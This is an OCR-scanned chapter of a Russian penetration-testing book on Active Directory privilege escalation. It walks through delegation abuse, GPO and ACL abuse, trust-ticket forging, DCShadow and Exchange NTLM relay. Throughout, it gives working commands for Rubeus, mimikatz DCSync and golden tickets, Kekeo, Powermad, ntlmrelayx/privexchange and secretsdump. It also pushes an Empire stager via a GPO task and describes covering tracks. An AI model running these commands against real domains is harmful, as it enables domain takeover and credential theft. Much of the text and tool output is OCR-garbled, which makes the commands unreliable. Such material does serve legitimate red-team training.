Глава 2 36 отправит ответ, который включает TGS (полную копию TGT) учетной записи ком пьютера контроллера домена, т. к. на нашем хаете используется неограниченное делегирование. Чтобы это сделать, сначала поставим прослушивание входящих соединений с по мощью Rubeus (https://github.com/GhostPack/RuЬeus): С : \> RuЬeus . exe monitor /interval : l Теперь инициируем запрос с помощью SpoolSample (https://github.comЛeechristensen/ SpoolSample): С : \> . \SpoolSample . exe DC . domain . dom yourhost . domain . dom В Rube1,1s мы увидим подключение (рис. 2.8). Ses s i onKeyType a e s 2 S б c t s hmac shal KeyExpirationTime 1 2 / 3 1 / 1600 4 : 00 : 00 PN Е х TSZ4AKНJSF ckc Base64SessionKey T i c ketFlags gG4 ЗmHSSIB j Sd r бugkЗYxCS 7qi V0= nате canon i c a l i z e , pre authent , rеnенаЫ е , forwarded , - 4 / 2 8f2019 1 : 59 : 34 AN Start Т i me for1.1arddЬle 4/ 28/2019 1 1 : 59 : 34 АН E nd Т i me 5/ 5/2019 1 : 59 : 34 АН RenewUnt i l е T i meSkew E n c odedT i c ke t S i z e 1276 Baseб4EncodedT i c ket doI E +DCCBPSgA1< IBBaEDдgEWoo l E B j CCBA JhggP+NI ID+qADAgE F 0QwbCkhBQ0t F U i 5NQUKiHzAdoAHCAQKhF jAUGwZrcmJ0Z ЗQb С khBQ0t F U i SHQUK j ggPCШ 1 DvqADAgE SoQHCAQK i ggOi,16 l IDrEdBkHЛ.lheUysHkb+pVPt Z Т Е ЬсН J JYcбDL ex78ByRQqqqo I Bv ЗhУ 0 3] RNЗbDIDkxl HAVI LH2ZQ3Q+9;vYWxE 4vcrnбx з) hc \'X�h/ L ) т Hln1б TQt u4kSyUj ( ХХА/ ЗgbUzбHoyV/ BYBL 1 с 3a5gXm;Nz Sqec хе б3nGбwhA 3 i fWk LgZu t f u 3 3 5h2NlmJ LcNS/ St•1QeЬf·\nFNTZn1j SwNPDz rhkeAdk82 FX+dc F I n I t Е 1 нyAdohj 9 s j KYs0+Ut У4Ы 1 1 R 7 YnK бhxQHOQ06\•0DoXYOT I t аоНр84 L >1j +AoRubyQUxHYoHNU9fhE y tBSm/ I а Bnp F i +Ао J 198BV7 s ЗQ>1е RDd9hyxga0 2 У01 r C u9 Z Р 3 79X\Г/gl YjvvrBvDf F 70YDXbSYVheKPUfhRs3mН09Rrdeб9vaYN356onH1vn1h7 i i l 5ftB203X9aNZWo3L TBxSdpd7 v I S K c j 3 i mc J00 Рис. 2.8. Подключение Rubeus Теперь получим TGT: С : \> RuЬeus . exe ptt /ticke t : doIE+DCCBPSgAwIBBaE С : \> RuЬeus . exe klist Имея TGT, мы можем выполнить DCSync-aтaкy с помощью mimikatz (рис. 2.9): # # lsadump : : dcsync /use r : НACКER\krbtgt krbtgt Obj ec t RON · • SAH ACCOUNT • • SAH Username Account Туре krbtgt r User Account Control 30000000 ( U S E R_OB J E C T ) 00000202 ( ACCOUNTDISAB L E NORHA L_ACCOUflJT ) Account expi r a t i on АМ P a s sword l a s t c hange 1 1 / 2 1 / 20 1 8 4 : 30 : 24 Obj e c t Security I D 5 - 1 - 5 - 2 1 - 1 55955804 6 - 14676 2 2 6 3 3 - 168486 2 2 5 - 502 Obj e c t R e l at i v e ID 502 C redent i al s : нash NТLH : 9974f218204d6b8109ea99ae9c209f23 n t lm- 0: 9974f2 18204dбb8109ea99ae9c209f23 lm Зес 7 с ЬЬЬ6 7d0с69Ь8 3 18500а 5 е 5 с 7 4 3 7 - 0: Рис. 2.9. DCSync krЬtgt
Актуальные методы повышения привипегий 37 Мы добыли NTLM-xeш учетной записи krbtgt и теперь можем сделать golden ticket, с которым получим полный доступ ко всей инфраструктуре домена: ## kerberos : : golden /user : Administrator /domain : domain . dom /sid : S -l-5-21 - 1 5 5 9 5 5 8 0 4 61 4 67 62 2 633- 1 6 8 4 8 6225 /krbtgt : 99 7 4 f2 1 8 2 04d6b 8 1 0 9ea99ae9c2 09f23 /ptt Теперь можно удаленно подключиться к контроллеру домена с учетной записью администратора: PS С : \> Enter-PSSession -ComputerName dc Ограниченное делегирование Не вдаваясь в подробности реализации S4U2Self/S4U2proxy, можно сказать, что любые учетные записи с SPN (Service Principal Name ), имеющие в свойствах уста новленный атрибут msDS-AllowedToDelegateTo, могут выдавать себя за любого пользо вателя в домене. Если бы можно было изменить содержимое msDS-AllowedToDe legateTo для произволь ной учетной записи, мы могли бы выполнить DCSync-aтaкy на текущий домен. Но для изменения любых параметров делегирования на контроллере домена нужно иметь привилегию SeEnaЫeDe legationPrivilege. По умолчанию такими правами об ладают только учетные записи администраторов домена. Первое расширение, которое реализует ограниченное делегирование, - S4U2self. Оно позволяет службе запрашивать у себя специальный перенаправляемый TGS от имени конкретного пользователя. Такой механизм предназначен для случаев, когда пользователь авторизуется в сервисе без использования Kerberos (в нашем приме ре - с веб-сервисом). Во время первого запроса TGS будет установлен флаг переадресации, чтобы воз вращаемый TGS был помечен как пересьmаемый и мог использоваться с расшире нием S4U2proxy. При неограниченном делегировании для идентификации пользо вателя применяется TGT, в этом случае расширение S4U использует структуру PA-FOR-USER в качестве нового типа в поле данных [padata] /pre-authent ication. S4U2self может выполняться для любой пользовательской учетной записи, при этом пароль целевого пользователя не требуется . Кроме того, S4U2self разрешает ся, только если учетная запись запрашивающего пользователя имеет флаг TRUSTED _ ТО AUTH FOR DELEGATION. - - - Существует вид атак под названием Kerberoasting - они предназначены для извле чения служебных учетных записей из Active Directory от имени обычного пользо вателя без отсылки пакетов в целевую систему. Почему в рассматриваемом нами случае не получится извлечь с использованием KerЬeroasting данные любого поль зователя, которого мы захотим? Потому что сертификат Privilege Account Certificate (РАС) подписан для исходного (а не целевого) пользователя (в данном случае для запрашивающей учетной записи службы). Но зато теперь у нас есть специальный билет службы, который можно переадресовать целевой службе, настроенной для ограниченного делегирования.
Глава 2 38 Второе расширение, использующее ограниченное делегирование, S4U2proxy. Оно позволяет вызывающей стороне (в нашем случае учетной записи службы) ис пользовать этот перенаправляемый билет, чтобы запросить TGS к mобому SPN, перечисленному в msDS-AllowedToDelegateтo, для олицетворения указанного на этапе S4U2self пользователя. КDС проверяет, есть ли запрашиваемый сервис в поле msDs AllowedToDelegateтo запрашивающего пользователя, и выдает билет, если эта провер ка прошла успешно. - Таким образом, мы можем определить критерий поиска ограниченного делегирова ния - ненулевое значение msDS-AllowedToDelegateтo: PS С : \> Get-DomainComputer -TrastedToAuth PS С : \> Get-DomainUser -TrastedToAuth Учетная запись компьютера или пользователя с SPN, указанным в msDS AllowedToDe legateTo, может олицетворять mобого пользователя в целевой службе. Поэтому, скомпрометировав одну из этих учетных записей, вы можете захватить привилегии доступа к целевому SPN. Для MSSQLSvc это позволило бы получить права администратора баз данных. CIFS откроет полный удаленный доступ к файлам. НТТР позволил бы захватить удаленный веб-сервис. LDAP - произвести DCSyпc. HТТP/SQL, даже если они не имеют повы шенных прав администратора в целевой системе, также моrут быть использованы для по вышения прав до System. С использованием описанного принципа можно провести четыре атаки на повыше ние привилегий в системе. Рассмотрим первый вариант. Если вам известен пароль от учетной записи, для ко торой включено ограниченное делегирование, можно использовать Kekeo (https://github.com/gentilkiwi/kekeo) для запроса TGT, выполнить запрос S4U TGS и затем получить доступ к целевой службе. Выполняем запрос TGT для учетной записи пользователя с включенным ограни ченным делегированием (к примеру, SQLService): С : \> asktgt . exe /usе r : Пользователь /doma in : дoмeн /pas sword : napoль /ticket : sqlservice . kirbi Теперь выполняем S4U2proxy с полученным TGT. В результате у нас будет TGS для доступа к приватному ресурсу в домене: С : \ > s4u . exe /tgt : sqlservice . kirbi /user : Administrator@дoмeн /service : cifs /pecypc_в_дoмeнe Используем mimikatz, чтобы применить TGS: ## kerberos : : ptt файл_с_полученным_ТGS В итоге мы получаем доступ к приватному ресурсу. Если вы можете скомпромети ровать учетную запись компьютера, которая настроена для ограниченного делеги рования, подход к атаке будет несколько другим. Поскольку любой процесс, вы полняющийся с системными привилегиями, получает привилегии учетной записи локального компьютера, мы можем пропустить шаг с asktgt . ехе. Также можно ис-
Актуальные методы повышения привипегий 39 пользовать альтернативный метод для выполнения процесса S4U2proxy, предостав ленный Microsoft. Для этого откроем PowerShell и выполним следующий код: PS С : \> $Null = [ Reflection . AssernЬly] : : LoadWithPartia lNarne ( ' System. IdentityModel ' ) PS С : \ > $ Ident = New-Obj ect System . Securit y . Principa l . Windowsident ity @ ( ' Administrator@domain . dom ' ) PS С : \> $Context = $ I dent . Impersonate ( ) Теперь, когда мы применили TGS указанного пользователя, мы можем снова рабо тать с приватным ресурсом. Затем вернемся в свое пользовательское пространство следующей командой PowerShell: PS С : \> $Context . Undo ( ) В третьем случае выполняются все те же действия, что и в первом, только вместо пароля используется NТLМ-хеш пользователя. Четвертая атака аналогична треть ему варианту, только вместо имени пользователя берется имя компьютера. Ограниченное делегирование на основе ресурсов Эта разновидность ограниченного делегирования очень похожа на обычное огра ниченное делегирование, но работает в противоположном направлении. Ограниченное делегирование из учетной записи А в учетную запись В настраивает ся для учетной записи А в атрибуте msDS-AllowedToDe legateтo и определяет «исходя щее>> доверие от А до В. Ограниченное делегирование на основе ресурсов настраивается для учетной записи В в атрибуте msDS-AllowedToActOnBehalfOfOtheridentity и определяет «входящее» до верие от А до В. Чтобы повысить привилегии во втором случае, нужно указать в атрибуте msDS AllowedToActOnBehalfOfOtheridenti t y учетную запись контролируемого нами компью тера. Метод сработает, если мы знаем набор имен SPN для объекта, к которому ХОТИМ получить доступ. Дело В ТОМ, ЧТО С параметром MachineAccountQuota (по умол чанию он позволяет каждому пользователю создавать десять учетных записей ком пьютеров) это легко сделать из-под непривилегированной учетной записи. Единст венная привилегия, которая нам понадобится, - это возможность записать атрибут на целевой компьютер. Создаем учетную запись, к которой мы будем иметь полный доступ, с помощью PowerMad (https://github.com/Кevin-Robertson/Powermad) и указываем пароль компьютера, чтобы у нас был хеш для него. PS С : \ > $password = ConvertTo-SecureString ' PASSWORD ' -AsPlainText -Force PS С : \> New-MachineAccount -ma chineaccount RВCDmachine -Pas sword $ ( $password) Теперь нужно заполнить атрибут msDS-AllowedToActOnBehal fOfOtheridentity для целе вого DC, на который у нас имеются разрешения: PS С : \> Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RВCDmachine$
Глава 2 40 PS С : \> Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount На следующем этапе нужно получить хеш нашего пароля: PS С : \> ConvertTo-NTHash $password Теперь, когда у нас есть все необходимое для атщш, получим билет: С : \> s 4 u . exe /user : RВCDmachine$ /rс4 : хеш / impersonateuser : пoльзoвaтeль /msdsspn : cifs /pecypc /ptt Мы получим тикет, проверить который можно так: ## klist Таким образом нам открывается доступ к ресурсу на кщпроллере домена. Этим же способом можно выполнить DCSync через LDAP. Н ебезо п асные п ра ва доступа к объекту групповой политики Объекты групповой политики - это контейнеры Active Directory, используемые для хранения объединенных в группы параметров политики. Эти объекты затем связываются с конкретными сайтами, доменами или с какими-либо организацион ными единицами (Organizational Unit - OU). Объекты групповой политики пред ставляют собой очень сложные структуры, состоящие из связей, наследований, исключений, фильтров и групп. При конфигурации доменов в этом болоте часто допускают ошибки, которые невооруженным взглядом и не видны. Найти эти ошибки и показать путь компрометации объекта групповой политики поможет ин струментарий BloodHound <https://github.com/ВloodHoundAD/ВloodHound). Предположим, что в объектах групповой политики имеется скомпрометированный элемент. Групповая политика имеет огромное количество параметров, которыми можно манипулировать. Это дает несколько способов скомпрометировать машины и пользователей, имеющих отношение к уязвимому объекту. Например, можно выполнить определенные сценарии, настроить бэкдор в lnternet Explorer, выдать МSI-файл в разделе «Установка программного обеспечения)), до бавить свою учетную запись домена в группу локальных администраторов или RDP либо принудительно смонтировать сетевой ресурс (который находится под нашим контролем, что дает возможность завладеть учетными данными подключившихся пользователей). Для реализации задуманного можно запустить запланированную задачу, которая удаляется сама при каждом обновлении групповой политики. Эта часть атаки довольно проста - нам нужно· создать шаблон . xml в виде schtask, а затем скопиро вать его в файл <GPO_PATH>\Machine\ Preference s \ScheduledTasks\ScheduledTasks . xml объ екта групповой политики, который мы можем редактировать. Подождав час-два до завершения цикла обновления групповой политики, мы удалим файл xml, чтобы замести следы. .
Актуальные методы повышения привилегий 41 Модуль PowerView New-GPOimmediateTask может сделать это автоматически. Чтобы воспользоваться им, потребуется аргумент -Ta s kName, -command, который задаст команду для запуска (по умолчанию - powershell . exe), а параметр -CommandArguments указывает аргументы для данного исполняемого файла. Описание задачи, ее автора и дату модификации также можно изменить с помощью соответствующих парамет ров. Файл schtask . xml создается в соответствии с вашими спецификациями и копи руется в местоположение, определяемое аргументами -GPOname или -GPODisplayname. По умолчанию функция спрашивает разрешения перед копированием, но эту оп цию можно отключить с использованием аргумента•-Fоrсе. Давайте используем New-GPOimmediateTask, чтобы загрузить Stager Empire (рис. 2. 1 0) на машины, где применяется объект групповой политики { ЗЕЕ4ВЕ4Е-7397-44 ЗЗ-А9F1ЗА5АЕ2F5 6ЕА2 } (отображаемое имя SecurePolicy) : New-GPOimmediateTask -Tas kName Debugging -GPODisplayName SecurePolicy CommandArguments ' -NoP -NonI -w Hidden -Enc JAВXAGМAPQBO . . . ' -Force Полученный результат демонстрирует, насколько опасны ошибки в групповых политиках домена. Рмс. 2.10. Empire stager в New-GPOlmmediateTask
Глава 2 42 Н ебезо пасные п рава досту па ACL ACL (списки контроля доступа) - это набор правил, которые определяют, какие объекты имеют разрешения для иного объекта в среде Active Directory,. Такими объектами могут быть учетные записи пользователей, группы, учетные записи компьютеров, сам домен и многое другое. ACL может быть настроен для отдельного объекта, такого как учетная запись поль зователя, но также его можно настроить и для OU. Основное преимущество на стройки ACL в OU состоит в том, что при правильной настройке все объекты потомки будут наследовать·АСL. ACL OU, в котором находятся объекты, содержит элемент управления доступом (Access Control Entry, АСЕ). Он определяет иденти фикатор и соответствующие разрешения, применяющиеся к OU или нисходящим объектам. Каждый АСЕ включает в себя SID и маску доступа, причем АСЕ могут быть четырех типов: «доступ разрешен», «доступ отклонен», «разрешенный объ ект» и «запрещенный объект». Разница между типами «доступ разрешен» и «раз ' решенный объект» состоит только в том, что последний тип используется исклю чительно в Active Directory. Рассмотрим пример атаки, использующей t1еправильную настройку ACL. Предпо ложим, мы уже собрали исходную информацию с помощью BloodHound, поэтому сразу перейдем к стадии повышения привилегий. BloodHound строит граф, где целевой группой выступает группа «Администраторы домена» (рис. 2. 1 1 ). А DOMAIN ADMIN 14 sll���!���- J · � Рис. 2.1 1 . Граф, построе нный BloodHound .
Актуальные методы повышения привилегий 43 Слева находится пользователь с относительно ,низкими привилегиями и путь атаки только для ACL, который в итоге контролирует группу администраторов домена. Этот пользователь - член группы безопасности (MemberOf) в центре. Эта группа имеет полный контроль (GenericAll) над пользователем справа. Так как ACL насле дуется"то пользователь слева тоже имеет такой контроль (рис. 2 . 1 2). MemЬert>f Рис. 2.12. GenericAJI Первый этап продвижения к целевой группе GenericAll означает полный контроль над объектом, включая возможность добав лять других участников в группу, изменять пароль пользователя, не зная текущего, регистрировать SPN. Эксплуатируется эта возможность с помощью set DomainUserPas sword ИЛИAdd-DomainGroupMemЬer. Идем дальше. Пользователь слева принадлежит группе в середине. Эта группа име ет как полный (GenericAll), так и избыточный (ForceChangePassword) контроль над пользователем слева (рис. 2 . 1 3 ). Рис. 2.13. Второй этап продвижения к целевой группе ForceChangePassword подразумевает возможность изменить пароль целевого поль зователя, не зная текущего. Эксплуатируется с помощью set-DomainUserPas sword. Завершающий этап (рис. 2. 1 4). Группа слева имеет привилегию ForceChangePassword в отношении нескольких пользователей, которые принадлежат к группе в центре. Эта группа в центре обладает полным контролем над группой справа («Админист раторы доменю>). о Рис. 2.14. Завершающий этап продвижения к целевой группе
Глава 2 44 Важное замечание: контроль над группой «Администраторы домена» может озна чать, что мы получи'ли контроль над пользователями в этой группе. В таком случае мы создад»м своего пользователя и добавим его в данную группу. После этого мы можем выполнить DCSync-aтaкy и, чтобы скрыть свои следы, удалить созданного пользователя. Вот так мы используем BloodHound и ошибки конфигурации ACL, чтобы получить контроль над доменом. Не могу не упомянуть об автоматизированном варианте этой атаки, с испояьзованием скрипта Invoke-ACLPwn (https://github.com/ Ralfilacker/lnvoke-ACLPwп). Инструмент экспортирует с помощью SharpHound все списки ACL в домене, а также членство в группе учетной записи пользователя, под котор0й он запускается. Когда цепочка будет рассчитана, скрипт начнет последовательно выполнять каж дый шаг в цепочке. При желании вызывается функция mimikatz DCSync и запра шивается хеш учетной записи пользователя. По умолчанию будет использоваться учетная запись krbtgt. После завершения эксплуатации сценарий удалит членство в группах, которые бьши добавлены во время эксплуатации, а также записи АСЕ в ACL объекта домена. Результат тестирования компанией Fox-It показан на рис. 2 . 1 5 . Рис. 2.15. Результат работы lnvoke-ACLPwn Скрипт перечислил и пр0шел 26 групп, изменяя членство в группах безопасности и управления. В итоге бьш получен хеш учетной записи krbtgt. Доменные трасты Часто в организации используется несколько доменов с настроенными между ними доверительными отношениями - трастами. Эго необходимо для того, чтобы поль. зователь из одного домена мог получить доступ к сервису в другом домене. Доверительные отношения между доменами могут быть односторонними и двусто ронними. То есть если домен А доверяет домену Б, то домен Б может оперировать ресурсамИ домена А. Также работает понятие транзитивности: если домен А дове ряет домену Б, а домен Б доверяет домену В, то домен А тоже доверяет домену В.
А ктуальные методы повышения привилегий 45 Иерархическая система доменов, имеющая корневой домен, будет называться дере вом доменов. При этом, если разные деревья находятся в разных формах довери тельных отношений, совокупность этих деревьев будет называться лесом. При аутентификации Kerberos между доменами, состоящими в доверительных от ношениях (рис. 2. 1 6), контроллер домена пользователя шифрует TGS не ключом службы, а общим ключом. Пользователь передает этот TGS контроллеру домена службы, а тот вернет ему TGS, зашифрованный ключом службы. Только теперь пользователь может обратиться к тому ресурсу, к которому хотел. Рис. 2.1 6. Схема аутентификации KerЬeros между доверенными доменами NТLМ-аутентификация (рис. 2. 1 7) в данном случае отличается тем, что контроллер домена службы, проверив разрешения для аутентификации, передает запрос на контроллер домена клиента. Именно он проводит проверку и возвращает результат. Схему аутентификации в доверенных доменах мы разобрали, как скомпрометиро вать DC в домене - тоже. Теперь разберемся, как скомпрометировать другой дове ренный домен.
Глава 2 46 1. Польэоаатеrъ запрашивает 4. Сервер аmравляет DOMAIN-A\USERNAME challenge м r'\!Sponse на ОС в DOMAIN·B дociyn и аmравляет DOMAIN·A\USERNAME 2 Сервер оmрааляеr сообЩение challenge ос в DOMAIN-A з_ КnмеtП отправляет Клиент в OOMAIN·A сообЩение response сервер аmравляет результат аутекrифмкации клиен�у в. Сервер в 7. О!Вет оО DOMAIN-B аутеt11Ифиt<ацмм nольэоаателя DС в OOМAIN·B Рис. 2.17. Схема аутентификации NTLM между доверенными доменами Пароль доверйя можно отыскать в хранилище учетных данных домена. Для этого нужно найти имя со знаком доллара на конце. Большинство учетных записей с по добными именами - это учетные записи компьютеров, но некоторые будут тра стовыми (рис. 2. 1 8). Рис. 2.1 8. NTlM-xew доверенной учетной записи Ключ доверия был извлечен вместе со всеми пользовательскими данными при ком� прометации учетных данных Active Directory. Каждое доверие включает связанную учетную запись пользователя, которая содержИ'Г' этот хеш пароля NTLM. Указан ные данные могут быть использованы для подделки доверительных TGS. Доверенный билет создается так же, как «золотой билет». Для этого используется та же команда mimikatz, но с разными параметрами. Ключ службы - это хеш пароля доверенного NTLM, а целью будет полное доменное имя целевого домена. ## kerberos : : golden /dоmа i n : текущий домен /sid : S I D домена /rc4 : NTLМ хеш /user : Administrator /service : krbtgt /target : цeлeвoЙ_дoмeн /tiсkеt : nуть_для_сохранения_билета Теперь, получим TGS для целевой службы в целевом домене, используя Кеkео (https://github.com/gentilkiwi/kekeo) . С : \ > asktgs . exe сохраненный_билет сifs /полное_имя_целевой_службы О том, как применять полученный тикет, я рассказывал выше. Teпepii? рассмотрим, как подделать TGS внутри леса. Первым делом извлекаем все, трастовые довери тельные ключи:
Актуальные методы повышения привилегий 47 ## Privilage : : debug ## Lsadump : : trust /patch И создаем поддельный доверительный TGT: ## kerberos : : golden /dоmаin : текущий_домен /sid : S I D_дoмeнa /sids : S ID_цeлeвoгo домена /rc4 : NTLМ хеш /usе r : Пользователь /service : krbtgt /tаrgеt : целевой домен /ticket : путь _для_сохранения_билета · - Затем получаем TGS: С : \> as ktgs . exe сохраненный_билет сi fs/nолное_имя_целевого_контроллера_домена И внедряем TGS, чтобы получить доступ с поддельными правами: С : \> kirЬikator l s a путь_к_ТGS После успешного выполнения команды пользователь станет администратором и получит повышенные права в целевом домене. Так мы можем продвигаться от домена к домену, поскольку каждый домен имеет связанный с друтим доменом па роль. DCShadow получать учетные данные пользователей и Одна из задач злоумышленников компьютеров, оставаясь незамеченным для средств обнаружения. С этой целью бы ло разработано несколько методов атак: внедрение LSASS, злоупотребление тене вым копированием, анализ тома NTFS, управление чувствительными атрибутами и другие. Среди всех этих атак одна связана с атакой DCShadow. Атака DCSync основана на том, что члены групп «Администраторы домена» или «Контроллеры домена>) могут запрашивать репликацию данных у DC. Фактически (как описано в спецификации MS-DRSR для репликации контроллера домена) эти группы могут запрашивать у контроллера домена репликацию объектов AD (включая учетные данные пользо вателя) через RPC GetNCChanges. DCSync-aтaкa с использованием mimikatz выглядит следующим образом: · ## lsadump : : dcsync /user : Administrator Одно из основных ограничений атаки DCSync злоумышленник не сможет вне дрить новь1е объекты в целевой домен. Он может стать владельцем административ ной учетной записи, используя Pass-The-Hash, и впоследствии вводить новые объекты. Но для этого требуется больше усилий, больше шагов, что повышает ве роятность обнаружения. Атака DCShadow снимает это ограничение. С помощью DCShadow злоумышленники больше не пытаются реплицИровать данные, а реги'?т рируют новые контроллеры домена в целевой инфраструктуре для внедрения объ ектов Active Directory или изменения существующих. - Сервер можно назвать контроллером домена, если он предлагает четыре ключевых компонента:
Глава 2 48 LDAP и реали зовывать несколько RPC в соответствии со спецификациями MS-DRSR и MS-ADTS, т. е. позволять репликацию данных; lj базу данных, которая должна быть доступна через протоколы lj сервис аутентификации, доступный через протоколы или Kerberos, NTLM, Netlogon WDigest; lj систему управления коцфигурацией, использующую протоколы lj сервис SMB и LDAP; DNS, используемый клиентами дЛЯ поиска ресурсов и поддержки аутен- тификации. Помимо всего этого, новый DC должен быть зарегистрирован сервисом КСС (сред ство 'проверки согласованности знаний). КСС - это встроенный процесс, который выполняется на всех контроллерах домена и создает топологию репликации для леса Active Directory. КСС создает отдельные топологии репликации. Эгот сервис также динамически корректирует топологию, чтобы она соответствовала добавле нию новых контроллеров домена и удалению существующих контроллеров домена. По умолчанию КСС запускает репликацию каждые 15 минут. Обеспечить все это можно при выполнении следующих условий: атака должна быть выполнена с компьютера в домене, у атакующего имеется привилегия System на компьютере и привилегия администратора домена в самом домене. Первым де лом с помощью mimikatz повышаем свои привилегии до System (рис. 2. 1 9). Рис. 2.19. Получение привилегии System с помощью mimikatz Теперь мы должны изменить значение userAccountControl: lsadurnp : : dcshadow /object : pc-10$ /atribute : userAccountControl /value : 53 2 4 8 0 Передаем соответствующий атрибут: lsadurnp : : dcshadow /push После выполнения команды увидим, как значения обновляются, а RРС-сервер ос танавливается. Можно считать, что мы зарегистрировали новый контроллер доме на, с которым можно производить дальнейшие операции.
Актуальные методы повышения привилегий 49 Exchange Основная уязвимость в инфраструктуре этого программного продукта такова. Exchange обладает высокими привилегиями в домене Active Directory. Группа Exchange Windows Permissions имеет доступ WriteDacl в Active Directory, что по зволяет любому члену этой группы и.з менять привилегии домена, среди которых есть привилегия для реализации атаки DCSync. Чтобы выполнить произвольный код на хостах в сети, можно использовать особен ности передачи аутентификации NTLM через SMB. Но другие протоколы также уязвимы для ретрансляции. Наиболее интересен для этого протокол LDAP, кото рый можно использовать для чтения и изменения объектов в каталоге. Дело в том, что при подключении сервера с Windows к компьютеру злоумышленника сущест вует возможность передать автоматическую проверку подлинности пользователя в системе другим машинам в сети, как показано на рисунке. Такой прием называют rеlау-атакой (рис. 2.20). 1 : Negotlate а ulhe nll са 11о п 1 : Negotlate aulhenlicatlon 11 =• Q 2: Copled server challenge .....,___ Э: Aulhenllca\e (wllh signed challenge) Г1 J.:..L 11 2: Server challenge З: Aulhenllcate (copled slgned challenge) Aulhenllcallon ОК Aulhentlcallon falled Retayed interacllo п Рис. 2.20. Схема rеlау-атаки Когда аутентификация передается в LDAP, объекты в каталоге могут быть измене ны. В результате этим объектам предоставляются привилегии злоумышленника, включая привилегии, необходимые для операций DCSync. Таким образом, мы должны заставить сервер Exchange проходить аутентификацию с помощью NTLM. Для этого необходимо заставить Exchange аутентифицировать нашу систему. Можно Заставить Exchange аутентифицироваться по произвольному URL-aдpecy через НТТР с помощью функции Exchange PushSuЬscription. домлений имеет возможность отправлять сообщения каждые Служба рush-уве Х минут (где Х может быть указан злоумышленником), даже если событие не произошло. Эrо гарантиру ет, что Exchange подключится к нам, даже если в папке входящих сообщений нет активности. Схема атаки показана на рис. 2.2 1 . Инструменты для выполнения такой атаки входят в состав пакета impacket (https://github.com/SecureAutbCorp/impacket). Сначала для ретрансляции LDAP
Глава 2 50 1 . PushSuЬscrlptlon EWS Cal 2. НТТР connectlon - NТLM authenlicatlpn Атвкующий с ипущенным ntlmrelayx З. NTLМ authentlcallon lorwarded (relaylng) 4. изменение 11>Иllllllehol е домене (t мс:оольэоеанием учетной З8ПИСИ Exch81QE! server) 5. Выnопнение BТllJIИ DCSync смнхронм38ЦМЯ xeшeil и KotnpOМep домена Рис. 2.21. Схема DСSупс-атаки с использованием рush-уведомлений запустим ntlrnrelayx, укажем подконтрольного нам пользователя и контроллер до мена. ntlrnrelayx . py -t ldap : / /DC . domain . dom --escalate-user USER Теперь используем privexchange: privexchange -ah Attacker_host Exchange_host -u USER �ct DOМEN Тут есть одно важное «НО)): пользователь должен иметь почтовый ящик на нашем Exchange-cepвepe. Через некоторое время (когда будет оmравлено рush-уве домление) в ntlrnrelayx можно �аблюдать вывод,' показанный на рис. 1 · 1 rr·o t o c o \ О iепт 2.22. t·15SOL 1 oaded . . l ' I P ro t oc o l С \ !Cfll НПРS \ oaded . 1 · 1 P r· o 1 o c o l C l i e п t IПТР loaded . 1 ' ] Р r· о т осо\ C t i cпt l.DAf'S 1 oaded 1 · 1 P r o t o c o \ C l ie п t LDAP loaded . . 1 ' 1 Pr·otocol C l 1e11t Sl-18 loaded . . [ · ] r r·otoco\ C \l ent 51-ПР loaded . . [ ' ) P r o t o c o l C \ 1 e n t ШАРS loaded . . [ ' ) Pr·otoco l С\ ieпt !НАР \oaded . [ · ) Ruвn1ng i в r· e \ a y mode t o s i ngl e host [ ' ) Sett ing up SHB Serveг [ • J S e t t.iпg нр НТТР Server [·J Seгvers s t a rt ed , wa 1 t 1 n g f o r connect i ons [ · J НПРD : R e c c i ved c o1111e c r 1 o n fгот 192 . 1 68 . 2 22 . 1 0 3 , a t t a c k 1 пg t м get l d з p : / / s20lбd c . tes t s egn1en t . l o c a l ( • } HTTPD : C \ i e n t requested p a t h : / p r1vexchange/ [ • ] НТТРО : Rece1ved con11ection f r·om 192 . 168 . 22 2 . 103 , a t t a c k ing t ы g e r l d a p : / / s 2 0 1 6d c . t e s t segmen t . l o c a 1 [ • } HTTPD·: C t ient r e q u e s t e d pat h : / p r 1vexchange/ [ · ] НТТРD : C l ient гeql1es ted pat h : / p r 1vexchange/ [ ' ) Authent icat ing aga i n s t \ dap : / / s 2 0 1 6d c . t e s t segmen t . l o c a l a s TEST5EGMENT\52 B l 2 E X C S SUCCEED [ • ) Enume r a t i n g relayed usef' s p r i v i l eges . Th1s may t a ke а wh i l e оп l a rge doma i n s [ · j U s e r p ri v i leges found : C rea t e u s e r f • I U s e r u r i v 1 1 eaes found : Modi f v ina domatn A C L Рис. 2.22. Успешный relay в ntlmrelayx
Актуальные методы повышения привилегий 51 Это означает, что у нашего пользователя есть привилегии для DCSync (рис. 2.23): secretsdump domain/user@DC - j u s t-dc Таким образом Exchange позволяет нам получить репликацmо учетных данных. \•J 1•J Dump1ng Doma1n Creden t i a t s ( doma i n \ u 1 d . r 1d : lmhas h : c t h a s h l U s i n g l he DRSUAPI method to get NTDS . D I T sec re t s �dmi n 1s t rato r : 500 : a a d 3 b 4 3 5 b 51404eeaad 3 b4 3 5 b 5 l404ec : 5c5Jd587 7454 73e 1 7 c629053527a84d4 : : : � ues t : 50 l : aad3b435b5 1404eeaad3b4 3 5 b 5 1 404ee : 3 ld б c teOd lбac9J l Ы 3 c 5 9d7eOc089cO : : : k rb t g t : 502 : aa d З b 4 3 5 b 5 1404eeaadЗb43 5 b5 1 404ee : e5a69aOba06a3 3 6 7376d c 4 1� 1 1 24e 2a6 : : · J e f a u l t A c c o u n t : SOЗ : aadJb435b51404eeaad3b4 3 5 b 5 1404ee : З l d б c leO d J 6ae9З l Ы З c 5 9 d 7e O c 0 8 9 c O : : : t e s t segment . l ocal \ t e s t u se r : l l0 5 : aadЗ b 4 3 5 h 5 1 404cPaad3 h 4 3 5 b 5 1 i 0 4 � P 720�dЧ54 f ба 3 665ЬОr92 Ы 5 е f абб2 16 5 : t e s t segment . l o c a l \ b a c kupadmin : l l 26 : a a d З b 4 3 5 b 5 1404eeaad3b435bS 1404ee : 69052d690d30509c 5 4 6 1 303e8bd753be : : Рис. 2.23. Успешная репликация учетных данных в secretsdump Sysadmin SQL Server Рассмотрим последовательность действий, которую можно применить для исполь зования учетной записи службы SQL Server, чтобы повысить привилегии от ло кального администратора до системного администратора DBA. SQL Server это еще одно приложение Windows. В случае SQL Server каждый экземпляр сервера устанавливается как набор служб Windows, которые работают в фоновом режиме. Каждая из этих служб настроена для работы с учетной записью Windows. Связанная учетная запись затем используется для глобального взаимо действия с операционной системой. - Основная служба Windows SQL Server служба SQL Server, которая реализована в виде �:�риложения sqlservr . ехе. Службы SQL Server могут быть настроены со мно гими 